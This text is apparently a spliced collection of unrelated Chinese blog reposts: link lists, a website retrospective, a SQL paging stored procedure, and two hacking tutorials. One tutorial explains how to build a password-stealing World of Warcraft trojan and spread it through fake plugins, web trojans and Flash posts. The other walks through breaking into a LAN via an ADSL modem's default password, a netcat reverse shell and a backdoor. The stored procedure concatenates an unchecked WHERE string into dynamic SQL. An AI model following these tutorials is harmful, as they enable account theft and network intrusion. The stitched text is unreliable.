47、斯普智能手机网
http://www.downpda.com

48、Embedded Development and Research
http://www.buzzdev.net

49、msmobiles.com forums
http://msmobiles.com/f/

50、pdaPhoneHome.com – Pocket PC pdaPhones
http://www.pdaphonehome.com/forums/index.php?s=75bdbcdc0e5a68d010852fac1a0a3e29

51、嵌入式开发网
http://www.palmheart.net/

52、Windows CE Base Team Blog
http://blogs.msdn.com/ce_base/default.aspx

53、Windows Mobile Portal
http://www.winbile.net/

54、Home [PocketMartix >> Mobile Device]
http://www.pocketmatrix.com

55、开发者之家〉移动平台〉Windows Mobile
http://www.vkfz.com/Windows-Mobile-1l216.htm

原文地址:http://www.cnblogs.com/mengshu-lbq/archive/2005/11/16/windows_mobile_develop_resource.html

魔兽世界帐号的窃取与防范

魔兽世界6月份开始登陆中国网络游戏市场,在很短的时间内就占据了国内网游市场,在国内形成了一股魔兽世界风暴。在这款网游流行的背后却有一只黑手慢慢的伸向他,魔兽世界最终也和其他网游一样没有逃脱盗号的恶运。到目前为止,魔兽世界的盗号事件已经是层出不穷,这里我就带大家一起来揭开魔兽世界的盗号之迷,同时本文中笔者也将给大家介绍相应的防范技巧。

  黑客如何窃取魔兽世界帐号

  首先盗号者需要准备魔兽世界木马一只,这是最基本的了,所有帐号密码都是有他来盗取了。魔兽世界木马种类也有很多种,有公开的也有没公开的,公开的魔兽世界木马在各大黑客网站都有下载,这里我推荐天龙工作室开发的魔兽世界木马,界面如下:

p1.jpg

图一

  其中邮件地址处填的就是我们接收帐号密码的邮件地址,下面几项就是邮件服务器设置项,右边就是用来发送帐号密码的邮箱地址,用户名密码,全部设置完后点击生成程序生成木马服务端。

  接下来就是最重要的环节了,如何让对方不知不觉中中的你木马了,这里将给大家讲解两种利用方式。第一种是捆绑法,为了使中魔兽世界木马的大部分都是魔兽世界玩家,我们可以这个木马捆绑在魔兽世界插件上,然后向外界发布你这个捆绑了木马的插件说是最新插件,这样一定会有不少玩家依靠baidu和google找到你向各大网站发布的这个被动了手脚的插件了,这样玩家就会在体验插件的同时毫无知觉的中魔兽世界木马。至于如何捆绑木马到其他程序上,这里可以用到一些专门的文件合并工具,这里我们选用水晶情缘开发的“EXE文件合并粉碎机”进行文件合并,软件界面如下:

p2.jpg

图二

把2个程序选择进去,然后提取正常程序的图标点击开始合并即可完成捆绑工作,接下来你就可以把捆绑好木马的程序到各大软件下载网站发布了,加点迷惑信息,就声称是最新的魔兽世界插件,这样就会有大量的玩家来下载插件用了,当然也在悄然无息中运行你的魔兽世界木马了。曾经在前一段时间,大脚(bigfoot)合作站点NGACN已经发布公告承认大脚被种入木马的事实,但大脚(bigfoot)官方站http://www.wowinside.net对此事只字未提,而月光宝盒(17cube)至今为止没有对此事做出任何说明和道歉。让人不得对这两大插件提供商感到遗憾,一方面不遗余力的推广自己的插件获取用户。一方面却不能保障插件的安全性。甚至在出现如此严重的盗号事件后也仅仅是一笔带过。完全没意识到事件的严重性。据悉,国内三大整合插件大脚和月光宝盒以及这次幸免于难的魔兽精灵(WoWshell)使用用户加起来超过150万用户,一旦客户端被种入木马,后果不堪设想。此次事件也暴露出国内整合插件提供商安全性完全没有保障的事实。Bigfoot,17cube,WoWshell等整合插件提供商都属于个人网站,其存放插件下载的服务器都属于租用的服务器,安全防范意识相对较差。一旦被黑,使用这些整合插件的用户更新插件就可能被种上木马,造成大规模的帐号被盗。在这次提供插件下载的官方网站服务器被黑,到致使一部分玩家帐号不翼而飞,整个过程就是盗号者对捆绑插件的利用,当然他们的捆绑方法要远远高于上面介绍的捆绑方法。

  第二种方法就是利用网页木马来传播你的魔兽世界木马了,这样你需要一个个人的网页空间,网站提供各种与魔兽世界相关的软件动画下载,不过我们在网站首页加上一句的代码,这样别人在浏览你的网页的同时也就悄然无息的中了你配置好的木马了。如果你有一定的黑客技术的话,就可以黑掉一些第三方的魔兽世界交易网站在他首页上加上这么一句,那么魔兽帐号就会源源不断的跑到你的邮箱里来。就算你没有一定的黑客技术的话也不要紧,找一些和魔兽世界有关的游戏论坛,因为到目前为止所有的论坛都有一个通性,就是允许用户在论坛贴flash动画,这样也就无形中给木马提供了藏身的温床,我们可以制作一个特殊的flash张贴到各大魔兽世界讨论论坛,其flash的制作方法也很简单,先到网上下载一个十分火热的flash动画,然后在本地对下载回来的flash进行编辑,接下来打开flash制作工具,选择文件菜单下的导入到库选项把刚下载下来后缀为swf的flash文件导入到库中,接下来选择窗口菜单下的库选项打开库面板,再双击刚导入进来的swf的影片剪辑进入编辑状态,接下来再选择时间轴上的第一祯,再点击场景下面的动作面板将动作面板展开,如下图所示:

p3.jpg

图三

  再选择动作面板下的浏览器网络下的getURL,然后我们在右侧的URL文本框中写下我们的木马网页,这时时间轴的第一祯上就会出现一个符号,这就说明我们的动作脚本添加好了,影片剪辑编辑好了,我们再把这个影片剪辑拖到主场景中,重新生成一个flash即可。把生成的flash上传到你的空间,最后就是到各大论坛上去张贴你的flash了,这样当别人浏览你发的帖时就会自动访问你的木马网页了,这样也就自动执行了你做好的木马了。至于前面所说的网页木马制作,我们可以使用动鲨网页木马生成器,其界面如下:

p4.jpg

图四

首先把你前面配置好的魔兽世界木马的服务端上传到你空间,并记下他的地址,然后在图三中的最下面文本框输入你的木马地址,再点击生成网页木马就可以傻瓜式的生成网页木马了,把生成的所有文件再上传到你的空间里,最后把iframe里的网页木马地址改成刚生成的网页木马地址即可。

  现在这里我再给大家演示下盗取魔兽世界帐号密码的效果,如下图所示的,魔兽世界登陆界面:

p5.jpg

图五

  其中帐号密码我随便填的,事先我已在这台电脑上种植了魔兽世界木马,我们点击登陆以后,再到我们接收帐号密码的邮箱里去看,我们会发现我们的邮箱里多了这样一封邮件:

p6.jpg

图六

  看见了吧,输入的用户名密码都在里面了,是不是很爽。

实现千万级数据分页的存储过程

经测试,在 14483461 条记录中查询第 100000 页,每页 10 条记录按升序和降序第一次时间均为 0.47 秒,第二次时间均为 0.43 秒,测试语法如下:
 exec GetRecordFromPage news,newsid,10,100000
 news 为 表名, newsid 为关键字段, 使用时请先对 newsid 建立索引。
*/

/*
 函数名称: GetRecordFromPage
 函数功能: 获取指定页的数据
 参数说明: @tblName   包含数据的表名
      @fldName   关键字段名
      @PageSize   每页记录数
      @PageIndex  要获取的页码
      @OrderType  排序类型, 0 – 升序, 1 – 降序
      @strWhere   查询条件 (注意: 不要加 where)
 作  者: 铁拳
 邮  箱: sunjianhua_kki@sina.com
 创建时间: 2004-07-04
 修改时间: 2004-07-04
*/
CREATE PROCEDURE GetRecordFromPage
  @tblName   varchar(255),    — 表名
  @fldName   varchar(255),    — 字段名
  @PageSize   int = 10,      — 页尺寸
  @PageIndex  int = 1,      – 页码
  @OrderType  bit = 0,      – 设置排序类型, 非 0 值则降序
  @strWhere   varchar(2000) = "" – 查询条件 (注意: 不要加 where)
AS

declare @strSQL  varchar(6000)    — 主语句
declare @strTmp  varchar(1000)    — 临时变量
declare @strOrder varchar(500)    – 排序类型

if @OrderType != 0
begin
  set @strTmp = "<(select min"
  set @strOrder = " order by [" + @fldName + "] desc"
end
else
begin
  set @strTmp = ">(select max"
  set @strOrder = " order by [" + @fldName +"] asc"
end

set @strSQL = "select top " + str(@PageSize) + " * from ["
  + @tblName + "] where [" + @fldName + "]" + @strTmp + "(["
  + @fldName + "]) from (select top " + str((@PageIndex-1)*@PageSize) + " ["
  + @fldName + "] from [" + @tblName + "]" + @strOrder + ") as tblTmp)"
  + @strOrder

if @strWhere != ""
  set @strSQL = "select top " + str(@PageSize) + " * from ["
    + @tblName + "] where [" + @fldName + "]" + @strTmp + "(["
    + @fldName + "]) from (select top " + str((@PageIndex-1)*@PageSize) + " ["
    + @fldName + "] from [" + @tblName + "] where " + @strWhere + " "
    + @strOrder + ") as tblTmp) and " + @strWhere + " " + @strOrder

if @PageIndex = 1
begin
  set @strTmp = ""
  if @strWhere != ""
    set @strTmp = " where (" + @strWhere + ")"

  set @strSQL = "select top " + str(@PageSize) + " * from ["
    + @tblName + "]" + @strTmp + " " + @strOrder
end

exec (@strSQL)

GO

15年里改变世界的15个网站网址

  1991年8月,美国正式将互联网技术由军用转为民用,由此引发了全球互联网热潮,人类生活开始了天翻地覆的变化。本周出版的英国《观察家报》列出了在这15年里改变世界的15个网站。

  1 www.eBay.com(电子港湾)
 
  创建:皮埃尔·奥米迪亚,1995年,美国

  用户:1.68亿

  关键词:在线拍卖和购物

  除了枪支弹药以外,你几乎可以在这里买到任何想买的东西。许多人甚至放弃了原有的工作,转而选择在这个网上大卖场开店创业。

  2 www.wikipedia.com(维基百科)

  创建:吉米·威尔士,2001年,美国

  用户:每天91.2万人次访问

  关键词:免费百科全书

  这本百科全书有个与众不同之处:它向所有网民开放,每个人既是读者,又是编辑。你可以任意创建或者改编一个条目,所需要做的只是点击、打字、提交,然后刷新。

  3 www.napster.com(纳帕斯特)

  创建:肖恩·范宁,1999年,美国

  用户:50万个付费用户

  关键词:音乐共享

  网站最初提供的是免费音乐下载,在2000年注册用户就超过了7000万。但随之而来的全球五大唱片公司联名控告它侵犯版权的官司,使得它无奈变身为收费下载网站。

  4 www.youtube.com

  创建:扎德·赫尔利、史蒂夫·陈和乔德·卡瑞姆,2005年,美国

  用户:每天1亿人次视频浏览

  关键词:视频共享

  一开始人们把自己拍的家庭录像放到网站上和朋友分享,后来越来越多的人开始上传自己珍藏的影视作品,有些人甚至因此得到了知名电影公司的青睐。

  5 www.blogger.com(博客网)

  创建:埃文·威廉斯,1999年,美国

  用户:1850万固定访客

  关键词:博客

  在发明博客软件的时候,威廉斯只是把它当作一种无聊消遣的玩意,他根本想不到博客成为了本世纪最热门的互联网,并发展成为一种个人媒体。

  6 www.friendsreunited.com(友聚网)

  创建:史蒂夫和朱莉·潘克赫斯特夫妇,1999年,英国

  用户:1500万

  关键词:校友录
  朱莉想知道同学们毕业后散落何方,她的程序员丈夫设计了这个网站。起初每天的点击只有个位数,直到2001年,一家电台介绍了他们的网站,校友录模式很快风靡全球。

  7 www.drudgereport.com(德拉吉报道)

  创建:马特·德拉吉,1994年,美国

  用户:每天800万到1000万页次浏览

  关键词:个人媒体

  1998年,德拉吉在个人网站上独家爆出克林顿的“拉链门”事件,并在此后半年内引导着美国舆论走向,从此,数以百万计的网民养成了上德拉吉网站看新闻的习惯。

  8 www.myspace.com(我的空间)

  创建:汤姆·安德森、克里斯·迪沃尔夫,2003年,美国

  用户:1亿

  关键词:社交网络

  “我的空间”打造网民的网上家园,它集合了网络社区的全部功能,增加了分类广告和记事安排,这使得它的日访问量高居全球第四。

  9 www.amazon.com(亚马逊书店)

  创建:杰弗·比索斯,1994年,美国

  用户:超过250个国家和地区3500多万用户

  关键词:网上书店

  说起亚马逊,15年前,人们想到的是世界第一大河;15年后,人们更多想到的是世界第一大书店。作为全球电子商务的代表,比索斯在1999年成为美国《时代》杂志“年度风云人物”。

  10 www.slashdot.org

  创建:罗伯·马尔达,1997年,美国

  用户:每月5500万

  关键词:科技论坛

  马尔达被美国《时代》杂志评为世界百强创新家之一,他的网站也成为全球访问量最大的网站之一,他最大的发明是开创了网民自行编写网页文字内容的先例,引来谷歌、维基百科等网站纷纷效仿。

  11 www.salon.com(沙龙网)

  创建:大卫·塔尔博特,1995年,美国

  用户:每月2500万至3500万访客

  关键词:在线杂志

  1994年,塔尔博特所供职的报纸罢工,他和一些同事试着办起了网上报纸。尝到甜头以后,塔尔博特索性辞去报纸美编职务,专心做起了网上媒体。

  12 www.craigslist.org(克雷格列表)

  创建:克雷格·纽马克,1995年,美国

  用户:每月4万亿页次浏览

  关键词:分类广告

  网站页面简单到近乎丑陋的地步,只是一块密密麻麻贴满各种小字条的公告牌。然而千万不要小看它,这可是全球最早也是最大的免费分类广告网站。

  13 www.google.com(谷歌)

  创建:拉里·佩吉、赛吉·布林,1998年,美国

  用户:每天10亿个搜索请求

  关键词:搜索引擎

  “google”如今在牛津英语字典里不仅是名词,而且是动词。以搜索引擎起家的google正在发展成为庞大的网络帝国:邮件、新闻、聊天等工具不一而足。

  14 www.yahoo.com(雅虎)

  创建:大卫·菲勒、杨致远,1994年,美国

  用户:4亿

  关键词:门户网站

  yahoo大概是最早被世人所知的网络神话之一,它曾创下平均每天网页点击数34万亿的纪录,它的门户网站模式在互联网上被一再克隆。

  15 www.easyjet.com(易航网)

  创建:斯蒂里奥斯·哈吉-艾奥诺,1995年,英国

  用户:去年乘客3000万人次

  关键词:廉价航空

  easyjet利用了互联网这一最为快捷经济的销售渠道,在短短几年里便跻身欧洲大航空公司之列。)

国内的几个digg网站网址

奇客网 http://diglog.com
奇客发现 有趣新鲜

窝窝网 http://www.mywowo.com
用Digg+点评方式来介绍web2.0的网站(国内最全的web2.0收集网站)

新聚网 http://www.tagriver.com
博客时代的新型交流

顶啊网 http://www.dingr.com
关于科技的头版新闻

抓虾网 http://www.zhuaxia.com
集rss订阅和digg挖掘为一体。

比客窝http://www.pkooo.com
以资讯为主的PK新闻

电影发现 http://www.new21.cn
电影发现·分享

爱发现 http://www.ifaxian.com
依靠社区的力量找出网上有阅读价值的内容

新热网 http://www.newhots.com
针对技术,BT资源,娱乐的网摘网站

教育资源挖掘 http://www.edudig.net
发掘互联网上有价值的教育资源

17DIG网 http://www.17dig.com
发掘IT新闻,草根们的新闻

中国掘客 http://www.cndigg.com
完全是digg.com的中文版

穿透ADSL路由入侵内网另类方法[收藏]

  一、扫描

  现在很多ADSL MODEM都是通过 80 23 21 三个端口来管理,但80 21端口有很多服务器都有打开,没怎么特征性,于是我选择了23端口,打开我的至爱:SUPPERSCAN,填上我所在地区的IP段,(跨多几段都没关系,反正SUPPERSCAN的速度就是快)眨眼间,结果出来了,开23的主机还真不小啊:)我挑了几台出来,在浏览器那里输入IP:218.xxx.xxx.xxx,OK。登陆对话框出来了,输入USER:ADSL pass:adsl1234(因为我这里的adsl modem一般是华硕的,缺省是adsl adsl1234)bingle 一矢中的,现在我就是上帝。

  二、映射

  入侵已经成功了一半,要进一步入侵内网,我门要进行端口映射,但是我连内网的拓扑,都不知道(更不用说内网主机的端口开放情况了)又怎么映射呢?在此,我选择了猜测。一般来说,MODEM的内网IP缺省是192.168.1.1,而大多数就把自己主机的IP设成192.168.1.2。因此我们只要试试把192.168.1.2的端口映射出来就行了(但如果使用了dhcp就麻烦了)但是192.168.1.2到底开放了什么端口,我们根本就不知道啊,呵呵,既然不知道,那么我就把他整台主机透明地映射到外网,具体做法如下:进入NAT选项—添加NAT规则—BAMID—填入主机IP:192.168.1.2,到此192.168.1.2已经透明地映射到192.168.1.1上了,我们访问ADSL MODEM就等于访问主机192.168.1.2了

  三、检测漏洞

  现在我们再请出SUPPERSCAN对218。xxx.xxx.xxx进行扫描,呵,看到没有?扫描结果已经不同了,开放的端口是139 1433等,刚才只是开放了80 23 21 而已(也就是说我们的映射已经成功了)该是X-SCAN出手了,用它来扫弱口令最好不过了,但扫描的结果令人失望,一个弱口令也没有,看来管理员还不算低B啊

  四、溢出

  既然没有弱口令,也没开80,那只好从逸出方面着手了,但没开80 21 也就webdav .sevr-u的溢出没戏了,很自然,我向导了RPC溢出,但实践证明RPC溢出也是不行的,LSASS溢出也不行

  五、募然回首,那人却在,灯火阑珊处

  看来这管理员还是比较负责的,该打的补丁都打上了,这时侯,我的目光转移到1433上了(嘿,不知道他打了SQL补丁没有?,心动不如行动,现在只好死马当活马医了,于是

  nc -v -l 99

  sql2 218.xxx.xxx.xxx 0 218.xxx.xxx.xxx 99

  bingle 成功地得到一个shell了

  六、设置后门

  到这里,我们的入侵已经成功了,余下的是扫尾留后门,至于后门,我一般都是用FTP上传RADMIN上去的,呵呵,这里不详谈了,相信各位都知道。